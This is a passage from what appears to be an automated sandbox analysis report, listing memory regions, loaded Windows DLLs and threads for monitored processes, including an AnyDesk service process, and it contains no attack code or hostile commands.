= mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5887 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5888 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 5889 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 5890 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5891 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5892 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5893 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5894 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5895 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5896 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5897 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5898 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5899 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5900 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5901 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5902 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5903 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5904 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5905 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5906 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5907 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5908 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5909 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5910 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5911 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5912 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5913 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 5914 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 5915 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 5916 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5917 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5918 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 5919 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 544 os_tid = 0xd80 Thread: id = 545 os_tid = 0xf10 Thread: id = 546 os_tid = 0xdac Thread: id = 547 os_tid = 0xf14 Thread: id = 548 os_tid = 0xdb0 Thread: id = 549 os_tid = 0xe4c Thread: id = 550 os_tid = 0xe40 Thread: id = 551 os_tid = 0xda8 Process: id = "36" image_name = "anydesk.exe" filename = "c:\\programdata\\anydesk\\anydesk.exe" page_root = "0x219cc000" os_pid = "0x51c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "modified_file" parent_id = "15" os_parent_pid = "0x1cc" cmd_line = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 6346 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 6347 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 6348 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6349 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 6350 start_va = 0x60000 end_va = 0x62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 6351 start_va = 0x1e0000 end_va = 0x115cfff monitored = 1 entry_point = 0x1e1ce9 region_type = mapped_file name = "anydesk.exe" filename = "\\ProgramData\\anydesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe") Region: id = 6352 start_va = 0x1180000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 6353 start_va = 0x1220000 end_va = 0x131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 6354 start_va = 0x76da0000 end_va = 0x76f48fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6355 start_va = 0x76f80000 end_va = 0x770fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6356 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 6357 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6358 start_va = 0xfffb0000 end_va = 0xfffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 6359 start_va = 0xfffdb000 end_va = 0xfffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 6360 start_va = 0xfffde000 end_va = 0xfffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 6361 start_va = 0xfffdf000 end_va = 0xfffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 6362 start_va = 0xfffe0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 6493 start_va = 0x1320000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 6494 start_va = 0x73710000 end_va = 0x7374efff monitored = 0 entry_point = 0x7373e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6495 start_va = 0x736b0000 end_va = 0x7370bfff monitored = 0 entry_point = 0x736ef9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6496 start_va = 0x736a0000 end_va = 0x736a7fff monitored = 0 entry_point = 0x736a20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 6497 start_va = 0x76c80000 end_va = 0x76d9efff monitored = 0 entry_point = 0x76c95340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6498 start_va = 0x76a70000 end_va = 0x76b7ffff monitored = 0 entry_point = 0x76a83283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6499 start_va = 0x76c80000 end_va = 0x76d9efff monitored = 0 entry_point = 0x76c95340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6500 start_va = 0x76c80000 end_va = 0x76d9efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c80000" filename = "" Region: id = 6501 start_va = 0x76b80000 end_va = 0x76c79fff monitored = 0 entry_point = 0x76b9a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6502 start_va = 0x76b80000 end_va = 0x76c79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b80000" filename = "" Region: id = 6503 start_va = 0x1530000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 6504 start_va = 0x76a70000 end_va = 0x76b7ffff monitored = 0 entry_point = 0x76a83283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6505 start_va = 0x75750000 end_va = 0x75796fff monitored = 0 entry_point = 0x757574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 6506 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6507 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6508 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6509 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6510 start_va = 0x17c0000 end_va = 0x2385fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017c0000" filename = "" Region: id = 6511 start_va = 0x73660000 end_va = 0x73691fff monitored = 0 entry_point = 0x736637f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 6512 start_va = 0x74b30000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74b3a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6513 start_va = 0x76600000 end_va = 0x766fffff monitored = 0 entry_point = 0x7661b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 6514 start_va = 0x74f20000 end_va = 0x74faffff monitored = 0 entry_point = 0x74f36343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6515 start_va = 0x76780000 end_va = 0x76789fff monitored = 0 entry_point = 0x767836a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 6516 start_va = 0x74c80000 end_va = 0x74d1cfff monitored = 0 entry_point = 0x74cb3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 6517 start_va = 0x74d20000 end_va = 0x74dbffff monitored = 0 entry_point = 0x74d349e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 6518 start_va = 0x755e0000 end_va = 0x755f8fff monitored = 0 entry_point = 0x755e4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6519 start_va = 0x75600000 end_va = 0x756effff monitored = 0 entry_point = 0x75610569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6520 start_va = 0x74ad0000 end_va = 0x74b2ffff monitored = 0 entry_point = 0x74aea3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6521 start_va = 0x74ac0000 end_va = 0x74acbfff monitored = 0 entry_point = 0x74ac10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6522 start_va = 0xe0000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 6523 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6524 start_va = 0x1320000 end_va = 0x14a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001320000" filename = "" Region: id = 6525 start_va = 0x14b0000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 6526 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6527 start_va = 0x75390000 end_va = 0x753effff monitored = 0 entry_point = 0x753a158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6528 start_va = 0x75190000 end_va = 0x7525bfff monitored = 0 entry_point = 0x7519168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 6529 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6530 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 6531 start_va = 0x1530000 end_va = 0x16b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001530000" filename = "" Region: id = 6532 start_va = 0x16c0000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016c0000" filename = "" Region: id = 6533 start_va = 0x17c0000 end_va = 0x187ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000017c0000" filename = "" Region: id = 6534 start_va = 0x75330000 end_va = 0x75386fff monitored = 0 entry_point = 0x75349ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 6535 start_va = 0x75260000 end_va = 0x75294fff monitored = 0 entry_point = 0x7526145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 6536 start_va = 0x757a0000 end_va = 0x757a5fff monitored = 0 entry_point = 0x757a1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 6537 start_va = 0xe0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 6538 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 6539 start_va = 0x74fb0000 end_va = 0x7510bfff monitored = 0 entry_point = 0x74ffba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 6540 start_va = 0x74be0000 end_va = 0x74c6efff monitored = 0 entry_point = 0x74be3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 6541 start_va = 0x734c0000 end_va = 0x7365dfff monitored = 0 entry_point = 0x734ee6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 6542 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 6543 start_va = 0x120000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6544 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 6545 start_va = 0x73330000 end_va = 0x734bffff monitored = 0 entry_point = 0x733cd026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 6546 start_va = 0x759b0000 end_va = 0x765f9fff monitored = 0 entry_point = 0x75a31601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 6547 start_va = 0x73310000 end_va = 0x7332bfff monitored = 0 entry_point = 0x7331a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 6548 start_va = 0x73300000 end_va = 0x73306fff monitored = 0 entry_point = 0x7330128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 6549 start_va = 0x732f0000 end_va = 0x732f4fff monitored = 0 entry_point = 0x732f10f6 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 6550 start_va = 0x73290000 end_va = 0x732e7fff monitored = 0 entry_point = 0x732913b4 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 6551 start_va = 0x73240000 end_va = 0x7328efff monitored = 0 entry_point = 0x73241452 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 6552 start_va = 0x74df0000 end_va = 0x74f10fff monitored = 0 entry_point = 0x74df158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 6553 start_va = 0x76f50000 end_va = 0x76f5bfff monitored = 0 entry_point = 0x76f5238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 6554 start_va = 0x73230000 end_va = 0x73237fff monitored = 0 entry_point = 0x732310e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 6555 start_va = 0x768d0000 end_va = 0x76a6cfff monitored = 0 entry_point = 0x768d17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 6556 start_va = 0x75410000 end_va = 0x75436fff monitored = 0 entry_point = 0x754158b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 6557 start_va = 0x753f0000 end_va = 0x75401fff monitored = 0 entry_point = 0x753f1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 6558 start_va = 0xe0000 end_va = 0xecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 6559 start_va = 0x731d0000 end_va = 0x73220fff monitored = 0 entry_point = 0x731f988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 6560 start_va = 0x1880000 end_va = 0x195ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 6561 start_va = 0x1880000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 6562 start_va = 0x1950000 end_va = 0x195ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 6563 start_va = 0x1a70000 end_va = 0x1aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 6564 start_va = 0x1ab0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ab0000" filename = "" Region: id = 6565 start_va = 0xfffd8000 end_va = 0xfffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 6566 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 6567 start_va = 0x731c0000 end_va = 0x731cafff monitored = 0 entry_point = 0x731c1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 6568 start_va = 0x73190000 end_va = 0x731b0fff monitored = 0 entry_point = 0x7319145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 6569 start_va = 0x76700000 end_va = 0x76744fff monitored = 0 entry_point = 0x767011e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 6570 start_va = 0x11e0000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 6571 start_va = 0x1960000 end_va = 0x1a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001960000" filename = "" Region: id = 6572 start_va = 0x1c30000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 6573 start_va = 0xfffd5000 end_va = 0xfffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 6574 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 6575 start_va = 0x75450000 end_va = 0x754d2fff monitored = 0 entry_point = 0x754523d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: 